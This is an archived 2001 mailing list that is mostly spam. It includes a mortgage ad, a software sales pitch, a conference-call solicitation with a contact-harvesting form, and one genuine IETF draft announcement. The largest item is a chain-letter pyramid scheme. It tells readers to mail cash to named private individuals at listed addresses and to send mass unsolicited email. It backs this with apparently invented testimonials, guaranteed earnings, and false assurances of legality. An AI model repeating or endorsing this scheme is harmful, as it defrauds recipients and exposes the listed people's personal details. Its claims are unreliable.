b250IGNvbG9yPSIjODAwMDgwIj48RU0+PEI+PEZPTlQgc2l6ZT01PlNlY29uZCANCk1vcnRn
YWdlczwvRk9OVD48L0I+PC9FTT48ST48Rk9OVCBzaXplPTM+IDwvRk9OVD48L0k+DQo8L2Zv
bnQ+IDwvQT48ST48Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9Mz4gLSA8L0ZPTlQ+PEI+PEZP
TlQgDQpjb2xvcj0jMDAwMDAwIHNpemU9ND5XZSBjYW4gaGVscCB5b3UgZ2V0IGZyb20gPC9G
T05UPjxGT05UIGNvbG9yPSNmZjAwMDAgDQpzaXplPTU+OTAlPC9GT05UPjxGT05UIGNvbG9y
PSMwMDAwMDAgc2l6ZT00PiB1cCB0byA8L0ZPTlQ+PEZPTlQgY29sb3I9I2ZmMDAwMCANCnNp
emU9NT4xMjUlPC9GT05UPjxGT05UIGNvbG9yPSMwMDAwMDAgc2l6ZT00PiBvZiB5b3VyIGhv
bWVzIHZhbHVlISAocmF0aW9zIHZhcnkgDQpieSBzdGF0ZSk8L0ZPTlQ+PC9CPjwvUD4NCjxQ
IGFsaWduPWxlZnQ+PEEgaHJlZj0iaHR0cDovLzMyNDkzMDk2NTAiIA0KdGFyZ2V0PV9ibGFu
az48Qj48Zm9udCBzaXplPSI1IiBjb2xvcj0iIzgwMDA4MCI+RGVidCBDb25zb2xpZGF0aW9u
PC9mb250PjwvQj48L0E+PEZPTlQgY29sb3I9IzAwMDAwMCBzaXplPTM+IDxGT05UIGNvbG9y
PSMwMDAwMDAgc2l6ZT00Pi0gDQo8Qj5Db21iaW5lIDwvRk9OVD48Rk9OVCBjb2xvcj0jZmYw
MDAwIHNpemU9NT5hbGw8L0ZPTlQ+PEZPTlQgY29sb3I9IzAwMDAwMCANCnNpemU9ND4geW91
ciBiaWxscyBpbnRvIDwvRk9OVD48Rk9OVCBjb2xvcj0jZmYwMDAwIHNpemU9NT5PbmUgTG93
IE1vbnRobHkgDQpQYXltZW50ITwvRk9OVD48L0I+PEJSPjxCUj48L0ZPTlQ+PEI+PEEgDQpo
cmVmPSJodHRwOi8vMzI0OTMwOTY1MCIgdGFyZ2V0PV9ibGFuaz48Zm9udCBzaXplPSI1IiBj
b2xvcj0iIzgwMDA4MCI+Rmlyc3QgVGltZSBIb21lIEJ1eWVyczwvZm9udD48L0E+PEZPTlQg
Y29sb3I9IzAwMDAwMCBzaXplPTM+IC0gDQo8Rk9OVCBjb2xvcj0jMDAwMDAwIHNpemU9ND5X
ZSBjYW4gaGVscCB5b3UgYnV5IHdpdGggPEZPTlQgY29sb3I9I2ZmMDAwMCANCnNpemU9NT5M
b3c8L0ZPTlQ+PC9GT05UPjxGT05UIGNvbG9yPSNmZjAwMDAgc2l6ZT01PiBNb25leSBEb3du
PC9GT05UPjxGT05UIA0KY29sb3I9IzAwMDAwMCBzaXplPTQ+LCBhbmQgZXZlbiA8L0ZPTlQ+
PEZPTlQgY29sb3I9I2ZmMDAwMCBzaXplPTU+R2V0IENhc2ggDQpCYWNrITwvRk9OVD48L0ZP
TlQ+PC9CPjwvUD48L0k+DQo8UCBhbGlnbj1jZW50ZXI+PEJJRz48QklHPjxGT05UIGNvbG9y
PSNmZjAwMDA+KjwvRk9OVD48L0JJRz5BbGwgcmF0ZXMgYXJlIGJhc2VkIA0Kb24gcXVhbGlm
aWNhdGlvbiE8L0JJRz48L1A+DQo8UCBhbGlnbj1jZW50ZXI+PEI+PEk+PEZPTlQgY29sb3I9
IzAwMDAwMCBzaXplPTY+V2UgaGF2ZSBwcm9ncmFtcyBmb3IgDQo8L0ZPTlQ+PEZPTlQgY29s
b3I9I2ZmMDAwMCBzaXplPTY+PFU+RVZFUlk8L1U+PC9GT05UPjxGT05UIGNvbG9yPSMwMDAw
MDAgc2l6ZT02PiANCmNyZWRpdCBzaXR1YXRpb24hPC9GT05UPjxCUj48QlI+PEEgaHJlZj0i
aHR0cDovLzMyNDkzMDk2NTAiIHRhcmdldD1fYmxhbms+PEZPTlQgDQpjb2xvcj0jMDAwMGZm
IHNpemU9NT5DbGljayBoZXJlIGZvciB5b3VyIEZSRUUgUkFURSBRVU9URSE8L0ZPTlQ+PC9B
PjwvST48L0I+PC9QPg0KPFAgYWxpZ249bGVmdD48Rk9OVCBjb2xvcj0jMDA4MDAwPjxTVFJP
Tkc+JnF1b3Q7VGhpcyBtZXNzYWdlIGlzIGJlaW5nIHNlbnQgdG8NCnlvdSBpbiBjb21wbGlh
bmNlIHdpdGgmbmJzcDtCaWxsIFMuIDE2MTggVGl0bGUgSUlJIHBhc3NlZCBieSB0aGUgMTA1
dGggVVMNCkNvbmdyZXNzLCB3aGljaCBzdGF0ZXMgdGhhdCB0aGlzIGxldHRlciBjYW4gbm90
IGJlIGNvbnNpZGVyZWQgc3BhbSBhcyBsb25nIGFzIHdlDQppbmNsdWRlICgxKSBWYWxpZCBD
b250YWN0IEluZm9ybWF0aW9uIGFuZCAoMikmbmJzcDthIHdheSB0byBiZSByZW1vdmVkIGZy
b20gYW55DQpmdXJ0aGVyIHRyYW5zbWlzc2lvbnMgYXQgbm8gY29zdCB0byB5b3UgYnkgc3Vi
bWl0dGluZyBhIHJlcXVlc3QgdG8gYmUNCnJlbW92ZWQuJnF1b3Q7IC4gPGEgaHJlZj0iaHR0
cDovLzMyNDkzMDk2NTAvcmVtb3ZlLmh0bSI+Q2xpY2sgSGVyZSB0byBTZW5kIGEgUmVtb3Zl
IFJlcXVlc3Q8L2E+Lg0KJnF1b3Q7V2UgaG9ub3IgYWxsIHJlbW92ZSBlbWFpbCBhZGRyZXNz
IHJlcXVlc3RzJm5ic3A7aW1tZWRpYXRlbHkuJnF1b3Q7PC9TVFJPTkc+PC9GT05UPjwvUD48
L0JPRFk+PC9IVE1MPg==

------=_NextPart_000_001__60345726_9707.64--


From confctrl-owner  Sat Oct 20 15:09:28 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA22535
	for confctrl-outgoing; Sat, 20 Oct 2001 15:09:28 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA22530
	for <confctrl@zephyr.isi.edu>; Sat, 20 Oct 2001 15:09:27 -0700 (PDT)
Received: from yourwebsite.com (we-24-126-21-110.we.mediaone.net [24.126.21.110])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9KM9mg04577
	for <confctrl@isi.edu>; Sat, 20 Oct 2001 15:09:48 -0700 (PDT)
Message-Id: <200110202209.f9KM9mg04577@tnt.isi.edu>
Reply-To: 5551212@email.com
From: 5551212@email.com
To: confctrl@ISI.EDU
Subject: Advertisement for get-rich-quick scheme!
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Date: Sat, 20 Oct 2001 15:07:09 -0700
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Future Millionaire:

I'll make you a promise. READ THIS E-MAIL TO THE END! - follow what it
says to the letter - and you will not worry whether a RECESSION is coming
or not,
who is President, or whether you keep your current job or not. Yes, I know
what
you are thinking. I never responded to one of these before either. One day
though, something just said "you throw away $25.00 going to a movie for 2
hours
with your wife". "What the heck." Believe me, no matter where you believe
"those feelings" come from, I thank goodness every day that I had that
feeling.
I cannot imagine where I would be or what I would be doing had I not. Read
on.  It's true. Every word of it. It is legal. I checked. Simply because
you
are buying and selling something of value.

AS SEEN ON NATIONAL TV:

Making over half million dollars every 4 to 5 months from your home.

THANK'S TO THE COMPUTER AGE AND THE INTERNET !
==================================================
BE AN INTERNET MILLIONAIRE LIKE OTHERS WITHIN A YEAR!!!

Before you say ''Bull'', please read the following. This is the letter
you have been hearing about on the news lately. Due to the popularity of
this
letter on the Internet, a national weekly news program recently devoted
anentire
show to the investigation of this program described below, to see if it
really
can make people money. The show also investigated whether or not the
program
was legal.

Their findings proved once and for all that there are ''absolutely NO
Laws prohibiting the participation in the program and if people can "follow
the simple instruction" they are bound to make some mega bucks with only
$25
out of pocket cost''.
DUE TO THE RECENT INCREASE OF POPULARITY & RESPECT THIS
PROGRAM HAS ATTAINED, IT IS CURRENTLY   WORKING BETTER THAN EVER.

This is what one had to say: '' Thanks to this profitable opportunity". I
was approached many times before but each time I passed on it. I am so glad
I
finally joined just to see what one could expect in return for the
minimal effort and money required. To my astonishment, I received a total $
610,470.00 in 21 weeks, with money still coming in''. Pam Hedland, Fort
Lee, New
Jersey.
==================================================
Another said: "this program has been around for a long time but I never
believed in it. But one day when I received this again in the mail I
decided to gamble my $25 on it. I followed the simple instructions and
walaa ..... 3
weeks later the money started to come in. First month I only made $240.00
but
the next 2 months after that I made a total of $290,000.00. So far, in the
past 8
months by re-entering the program, I have made over $710,000.00 and I am
playing
it again. The key to success in this program is to follow the simple steps
and NOT change
anything.'' More testimonials later but first, =======

==== PRINT THIS NOW FOR YOUR FUTURE REFERENCE ====
$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

If you would like to make at least $500,000 every 4 to 5 months easily
and comfortably, please read the following...THEN READ IT AGAIN and AGAIN
!!!

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

FOLLOW THE SIMPLE INSTRUCTION BELOW AND YOUR FINANCIAL DREAMS
WILL COME TRUE, GUARANTEED!

INSTRUCTIONS:

=====Order all 5 reports shown on the list below =====

For each report, send $5 CASH, THE NAME & NUMBER OF THE REPORT YOU
ARE ORDERING and YOUR E-MAIL ADDRESS to the person whose name appears
ON THAT LIST next to the report. MAKE SURE YOUR RETURN ADDRESS IS ON
YOUR ENVELOPE TOP LEFT CORNER in case of any mail problems.

===WHEN YOU PLACE YOUR ORDER, MAKE SURE ===
===YOU ORDER EACH OF THE 5 REPORTS! ===
You will need all 5 reports so that you can save them on your computer
and resell them. YOUR TOTAL COST $5 X 5 = $25.00.

Within a few days you will receive, via e-mail, each of the 5 reports
from these 5 different individuals. Save them on your computer so they will
be
accessible for you to send to the 1,000's of people who will order them
from you.
Also make a floppy of these reports and keep it on your desk in case
something
happens to your computer.

IMPORTANT - DO NOT alter the names of the people who are listed next to
each report, or their sequence on the list, in any way other than what is
instructed below in step '' 1 through 6 '' or you will loose out on the
majority of
your profits. Once you understand the way this works, you will also see how
it
does not work if you change it. Remember, this method has been tested, and
if
you alter it, it will NOT work !!! People have tried to put their
friends/relatives names on all five thinking they could get all the money.
But it does not
work this way. Believe us, some have tried to be greedy and then nothing
happened. So Do Not try to change anything other than what is instructed.
Because if
you do, it will not work for you. Remember, honesty reaps the reward!!!
This IS a
legitimate BUSINESS. You are offering a product for sale and getting paid
for it. Treat it as such and you will be VERY profitable in a short period
of
time.

1.. After you have ordered all 5 reports, take this advertisement and
REMOVE the name & address of the person in REPORT # 5. This person has
made it through the cycle and is no doubt counting their fortune.

2..Move the name & address in REPORT # 4 down TO REPORT # 5.

3.. Move the name & address in REPORT # 3 down TO REPORT # 4.

4.. Move the name & address in REPORT # 2 down TO REPORT # 3.

5.. Move the name & address in REPORT # 1 down TO REPORT # 2

6.... Insert YOUR name & address in the REPORT # 1 Position.

PLEASE MAKE SURE you copy every name & address ACCURATELY! This is
critical to YOUR success.

==================================================
**** Take this entire letter, with the modified list of names, and save
it on your computer. DO NOT MAKE ANY OTHER CHANGES.

Save this on a disk as well just in case if you loose any data. To assist
you with marketing your business on the internet, the 5 reports you
purchase will provide you with invaluable marketing information which
includes how
to send bulk e-mails legally, where to find thousands of free classified
ads
and much more. There are 2 Primary methods to get this venture going:

METHOD # 1: BY SENDING BULK E-MAIL LEGALLY
==================================================

Let's say that you decide to start small, just to see how it goes, and we
will assume You and those involved send out only 5,000 e-mails each.
Let's also assume that the mailing receive only a 0.2% (2/10 of 1%)
response (the
response could be much better but lets just say it is only 0.2%). Also many
people
will send out hundreds of thousands e-mails instead of only 5,000 each).
Continuing with this example, you send out only 5,000 e-mails.

With a 0.2% response, that is only 10 orders for report # 1. Those 10
people responded by sending out 5,000 e-mail each for a total of 50,000.
Out of
those 50,000 e-mails only 0.2% responded with orders. That's=100 people
responded and ordered Report # 2.

Those 100 people mail out 5,000 e-mails each for a total of 500,000
e-mails. The 0.2% response to that is 1000 orders for Report # 3.

Those 1000 people send 5,000 e-mail each for a total of 5 million
e-mail sent out. The 0.2% response is 10,000 orders for Report # 4.

Those 10,000 people send out 5,000 e-mails each for a total of 50,000,000
(50 million) e-mails. The 0.2% response to that is 100,000 orders for
Report
# 5.

THAT'S 100,000 ORDERS TIMES $5 EACH = $500,000.00 (half a million dollars).

Your total income in this example is: 1..... $50 + 2..... $500 + 3.....
$5,000 + 4..... $50,000 + 5.... $500,000 .... Grand Total=$555,550.00

NUMBERS DO NOT LIE. GET A PENCIL & PAPER AND FIGURE OUT THE
WORST POSSIBLE RESPONSES AND NO MATTER HOW YOU CALCULATE IT, YOU WILL STILL
MAKE A LOT OF MONEY!
==================================================

REMEMBER FRIEND, THIS IS ASSUMING ONLY 10 PEOPLE ORDERING OUT OF
5,000 YOU MAILED TO. Dare to think for a moment what would happen if
everyone or
half or even one 4th of those people mailed 100,000 e-mails each or more?
There
are over 150 million people on the Internet worldwide and counting, with
thousands
more coming on line every day. Believe me, many people will do just that,
and
more!

METHOD # 2: BY PLACING FREE ADS ON THE INTERNET
==================================================

Advertising on the net is very, very inexpensive and there are hundreds
of FREE places to advertise. Placing a lot of free ads on the Internet will
easily get a larger response. We strongly suggest you start with Method # 1
and add
METHOD #2 as you go along. For every $5 you receive, all you must do is
e-mail
them the Report they ordered. That's it. Always provide same day service on
all
orders.

This will guarantee that the e-mail they send out, with your name and
address on it, will be prompt because they can not advertise until they
receive the report.

===========AVAILABLE REPORTS ====================
The reason for the "cash" is not because this is illegal or somehow
"wrong". It is simply about time. Time for checks or credit cards to be
cleared or
approved, etc. Concealing it is simply so no one can SEE there is money in
the
envelope and steal it before it gets to you.

ORDER EACH REPORT BY ITS NUMBER & NAME ONLY. Notes: Always send $5
cash (U.S. CURRENCY) for each Report. Checks NOT accepted. Make sure the
cash is
concealed by wrapping it in at least 2 sheets of paper. On one of those
sheets of
paper, Write the NUMBER & the NAME of the Report you are ordering, YOUR
E-MAIL
ADDRESS and your name and postal address.

PLACE YOUR ORDER FOR THESE REPORTS NOW :
==================================================
REPORT# 1: 'The Insider's Guide To Advertising for Free On The Net

Order Report #1 from

Keith Gilbert
2822 N. Ridgewood St.
Santa Ana, CA  92705
USA

________________________________________________________

REPORT # 2: The Insider's Guide To Sending Bulk Email On The Net

Order Report # 2 from:

Steve Stwan
P.O. Box 23923
Federal Way, WA 98093
USA

_________________________________________________________________

REPORT # 3: Secret To Multilevel Marketing On The Net

Order Report # 3 from :

Craig Wuthrich
2390 Falls Ave. E.
Twin Falls, ID 83301
USA

______________________________________________________

REPORT # 4: How To Become A Millionaire Using MLM & The Net

Order Report # 4 from:

S. Wong
50 Burnhamthorpe Rd. West #401
Mississauga, Ontario, L5B 3C2
Canada


_______________________________________________________

REPORT #5: How To Send Out One Million Emails For Free

Order Report # 5 From:

Zach Simmons
2135 Springwood
Carrollton, TX 75006
USA

_____________________________________________________
$$$$$$$$$ YOUR SUCCESS GUIDELINES $$$$$$$$$$$

Follow these guidelines to guarantee your success:

=== If you do not receive at least 10 orders for Report #1 within 2
weeks, continue sending e-mails until you do.

=== After you have received 10 orders, 2 to 3 weeks after that you should
receive 100 orders or more for REPORT # 2. If you did not, continue
advertising or sending e-mails until you do.

**Once you have received 100 or more orders for Report # 2, YOU CAN
RELAX, because the system is already working for you, and the cash will
continue
to roll in ! THIS IS IMPORTANT TO REMEMBER: Every time your name is moved
down on the list, you are placed in front of a Different report.

You can KEEP TRACK of your PROGRESS by watching which report people are
ordering from you. IF YOU WANT TO GENERATE MORE INCOME SEND ANOTHER
BATCH OF E-MAILS AND START THE WHOLE PROCESS AGAIN. There is NO LIMIT
to the income you can generate from this business !!!
=================================================
FOLLOWING IS A NOTE FROM THE ORIGINATOR OF THIS PROGRAM: You have
just received information that can give you financial freedom for the rest
of your
life, with NO RISK and JUST A LITTLE BIT OF EFFORT. You can make more money
in the
next few weeks and months than you have ever imagined. Follow the program
EXACTLY
AS INSTRUCTED. Do Not change it in any way. It works exceedingly well as it
is now.

Remember to e-mail a copy of this exciting report after you have put your
name and address in Report #1 and moved others to #2 .....# 5 as instructed
above. One of the people you send this to may send out 100,000 ormore
e-mails
and your name will be on every one of them. Remember though, the more you
send out
the more potential customers you will reach. So my friend, I have given you
the ideas, information, materials and opportunity to become financially
independent.
IT IS UP TO YOU NOW !
=============MORE TESTIMONIALS===============
'' My name is Mitchell. My wife, Jody and I live in Chicago. I am an
accountant with a major U.S. Corporation and I make pretty good money.
When I received this program I grumbled to Jody about receiving ''junk
mail''. I
made fun of the whole thing, spouting my knowledge of the population and
percentages involved. I ''knew'' it wouldn't work. Jody totally ignored my
supposed
intelligence and few days later she jumped in with both feet. I made
merciless fun of her, and was ready to lay the old ''I told you so'' on her
when
the thing didn't work. Well, the laugh was on me! Within 3 weeks she had
received
50 responses. Within the next 45 days she had received total $ 147,200.00
......... all cash! I was shocked. I have joined Jodyin her ''hobby''.
Mitchell Wolf M.D., Chicago, Illinois
================================================
'' Not being the gambling type, it took me several weeks to make up my
mind to participate in this plan. But conservative as I am, I decided that
the
initial investment was so little that there was just no way that I wouldn't
get
enough orders to at least get my money back''. '' I was surprised when I
found
my medium size post office box crammed with orders. I made $319,210.00 in
the first 12 weeks. The nice thing about this deal is that it does not
matter where
people live. There simply isn't a better investment with a faster return
and so
big''.  Dan Sondstrom, Alberta, Canada
=================================================
'' I had received this program before. I deleted it, but later I wondered
if I should have given it a try. Of course, I had no idea who to contact to
get another copy, so I had to wait until I was e-mailed again by someone
else.........11 months passed then it luckily came again...... I did not
delete this one! I made more than $490,000 on my first try and all the
money
came within 22 weeks''. Susan De Suza, New York, N.Y.
=================================================
'' It really is a great opportunity to make relatively easy money with
little cost to you. I followed the simple instructions carefully and
within 10 days the money started to come in. My first month I made $ 20,
560.00 and
by the end of third month my total cash count was $ 362,840.00. Life is
beautiful, Thanx to internet''. Fred Dellaca, Westport, New Zealand
=================================================

ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO
FINANCIAL
FREEDOM !

=================================================
If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.

=================================================

ONE TIME MAILING, NO NEED TO REMOVE

=================================================

This message is sent in compliance of the proposed bill SECTION 301,
paragraph (a)(2)(C) of S. 1618.  Further transmission to you by the sender
of this email may be stopped at no cost to you by sending a reply to:
coho2@ziplip.com with the word REMOVE in the subject line.  This message is not
intended for residents in the State of Washington, screening of addresses has been done
to the best of our technical ability.

 

From confctrl-owner  Sun Oct 21 19:21:00 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id TAA04847
	for confctrl-outgoing; Sun, 21 Oct 2001 19:21:00 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id TAA04842
	for <confctrl@zephyr.isi.edu>; Sun, 21 Oct 2001 19:20:59 -0700 (PDT)
Received: from mail.interlynx.net (mail.interlynx.net [209.183.1.25])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9M2LNg10563
	for <confctrl@isi.edu>; Sun, 21 Oct 2001 19:21:23 -0700 (PDT)
Received: from genis (unknown [209.183.19.10])
	by mail.interlynx.net (Sendmail 8.9.1b+Sun/8.9.3) with SMTP id 91DAB122CE
	for <confctrl@isi.edu>; Sun, 21 Oct 2001 22:21:13 -0400 (EDT)
From: Melissa Robins <solshape@yahoo.com>
To: confctrl@ISI.EDU
Subject: demo request
X-Mailer: Melissa Robins
Reply-To: solshape@yahoo.com
Date: Sun, 21 Oct 2001 22:36:09 -0500
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-Id: <20011022022113.91DAB122CE@mail.interlynx.net>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Dear Sir/Madam:

I obtained your contact info from your web site and thought that you might be interested in our new Sleuth GTA (Toronto) Business Directory Marketing Software complete with 70 000 contact records, 50 company categories, and full search, reporting, and importing/exporting capabilities.

Due to the current economic climate and recent misfortunes - we are now offering our system for only a few hundred dollars CAD, and are also willing to work within buget constraints (limited time offer to encourage economic recovery).

Please reply and I will send you our free demo immediately.  Thank you for your time.

Regards,

Melissa Robins
Solid Shape (SourceCode Development)
(416) 686-1444
solshape@yahoo.com

P.S. Should you not be interested, please let me know if you would like to be removed from my address book.

From confctrl-owner  Mon Oct 22 02:40:53 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id CAA26874
	for confctrl-outgoing; Mon, 22 Oct 2001 02:40:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id CAA26868
	for <confctrl@zephyr.isi.edu>; Mon, 22 Oct 2001 02:40:52 -0700 (PDT)
Received: from rdcc.caac.cn.net ([202.96.53.3])
	by tnt.isi.edu (8.11.6/8.11.2) with SMTP id f9M9emg14379;
	Mon, 22 Oct 2001 02:40:49 -0700 (PDT)
Received: by rdcc.caac.cn.net; id AA01161; Fri, 22 Oct 1999 16:38:03 +0800
Date: Fri, 22 Oct 1999 16:38:03 +0800
From: "conferencing@netpert.com" <conferencing@netpert.com>
To: "2738@yahoo.com" <2738@yahoo.com>
Message-Id: <0972074703.0005477442@mail.netpert.com>
Subject: Free conference calls!
Mime-Version: 1.0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

<HTML><HEAD><TITLE>Take Control Of Your Conference Calls</TITLE>
<META http-equiv=3DContent-Type content=3D=22text/html; charset=3Dwindows-1=
252=22>
<META content=3D=22MSHTML 5.50.4134.600=22 name=3DGENERATOR></HEAD>
<BODY vLink=3D=23c0c0c0 link=3D=23c0c0c0 bgColor=3D=23000000 leftMargin=3D0><F=
ONT 
face=3Darial,helvetica>
<P>
<CENTER>
<TABLE width=3D600 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><B><FONT color=3D=23999999 size=3D6>Long Distance 
      Conferencing<BR>Only <U>18 Cents</U> Per 
Minute</B></FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23ff0000 size=3D5><B>Connects Up To 100 Participants=21</=
B></FONT> 
<P>
<TABLE width=3D350 border=3D0>
  <TBODY>
  <TR>
    <TD><FONT color=3D=23999999 size=3D3><B>
      <LI>No setup fees 
      <LI>No contracts or monthly fees 
      <LI>Call anytime, from anywhere, to anywhere 
      <LI>International Dial In 18 cents per minute 
      <LI>Simplicity in set up and administration 
      <LI>Operator Help available 24/7 </B></FONT></LI></TD></TR></TBOD=
Y></TABLE>
<P>
<TABLE width=3D500 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23ff0000 size=3D60><B><FONT size=3D5>G=
et the best 
      quality, the easiest to use, and lowest rate in the 
      industry.</B></FONT></FONT></TD></TR></TBODY></TABLE>
<P>
<TABLE width=3D400 border=3D0>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT color=3D=23999999 size=3D4>If you like saving =
money, fill 
      out the form below and one of our consultants will contact 
  you.</FONT></TD></TR></TBODY></TABLE>
<P><FONT color=3D=23999999 size=3D2>Required Input Field<FONT color=3D=23ff0=
000 
size=3D2>*</FONT></FONT> 
<P>
<TABLE cellSpacing=3D0 borderColorDark=3D=23333300 cellPadding=3D3 width=3D6=
00 
borderColorLight=3D=23ffffcc>
  <TBODY>
  <TR>
    <TD align=3Dmiddle>
      <FORM action=3Dmailto:inboxx217=40yahoo.com?subject=3DConference_Inq=
uiry 
      method=3Dpost encType=3Dtext/plain>
      <TABLE width=3D=22100%=22>
        <TBODY>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 
          size=3D2>Name*</FONT></TD>
          <TD><INPUT name=3DNAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Web 
            Address*</FONT></TD>
          <TD><INPUT value=3Dhttp:// name=3DURL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Company 
            Name*</FONT></TD>
          <TD><INPUT name=3DCOMPANY_NAME></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>
            State*</FONT></TD>
          <TD><INPUT size=3D2 name=3DSTATE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Business 
            Phone*</FONT></TD>
          <TD><INPUT name=3DBUS_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Home 
            Phone</FONT></TD>
          <TD><INPUT name=3DHOME_PHONE></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Email 
            Address*</FONT></TD>
          <TD><INPUT name=3DEMAIL></TD></TR>
        <TR>
          <TD align=3Dright width=3D=2250%=22><FONT 
            face=3D=22Arial, Helvetica, sans-serif=22 color=3D=23ff0000 size=
=3D2>Type of 
            Business</FONT></TD>
          <TD><INPUT name=3DTYPE_OF_BUSINESS></TD></TR></TBODY></TABLE>
      <P><INPUT type=3Dsubmit value=3D=22Submit Information=22 name=3Dsubmit=
> 
    </FORM></P></TD></TR></TBODY></TABLE>
<P>
=9<P align=3Dcenter><FONT color=3D999999 face=3D=22Arial, Helvetica, sans-s=
erif=22 size=3D5>
=9This could be your ad=21</FONT></B><FONT face=3D=22Arial, Helvetica, san=
s-serif=22 size=3D2>
=9<BR><A href=3D=22mailto:marketing702=40excite.com?subject=3DDirect Market=
ing=22>
=9<FONT color=3Dff0000>Click here to e-mail us your contact info</A>.</F=
ONT></P>
<TABLE width=3D500>
  <TBODY>
  <TR>
    <TD align=3Dmiddle><FONT face=3D=22Arial, Helvetica, sans-serif=22 colo=
r=3D=23999999 
      size=3D1>This ad is being sent in compliance with Senate Bill 1618=
, Title 3, Section 301.
      You have recently visited our web site, referral or affiliate sit=
es which indicated you were 
      interested in communication services.  If this email is reaching =
you in error and you feel that you have not contacted 
      us, <FONT color=3D=23666666><A href=3D=22mailto:removv.7=40excite.com?=
subject=3DRemove_Conferencing=22>Click 
      here</A></FONT>. We sincerely apologize, and assure you will be r=
emoved from our distribution list.</FONT><BR></TD></TR></TBODY></TABLE><=
/P></CENTER></FONT></BODY></HTML>


From confctrl-owner  Mon Oct 22 04:03:03 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id EAA00883
	for confctrl-outgoing; Mon, 22 Oct 2001 04:03:03 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id EAA00877
	for <confctrl@zephyr.isi.edu>; Mon, 22 Oct 2001 04:03:01 -0700 (PDT)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by tnt.isi.edu (8.11.6/8.11.2) with ESMTP id f9MB3Pg28214
	for <confctrl@isi.edu>; Mon, 22 Oct 2001 04:03:25 -0700 (PDT)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA10407;
	Mon, 22 Oct 2001 07:03:21 -0400 (EDT)
Message-Id: <200110221103.HAA10407@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sdp-comedia-01.txt
Date: Mon, 22 Oct 2001 07:03:21 -0400
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control Working Group of the IETF.

	Title		: Connection-Oriented Media Transport in SDP
	Author(s)	: D. Yon
	Filename	: draft-ietf-mmusic-sdp-comedia-01.txt
	Pages		: 11
	Date		: 19-Oct-01
	
This document describes how to express media transport over 
connection-oriented protocols using the Session Description Protocol 
(SDP).  It defines two new protocol identifiers: TCP and TLS.  It 
also defines the syntax and semantics for an SDP 'direction' 
attribute that describes the connection setup procedure.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sdp-comedia-01.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sdp-comedia-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


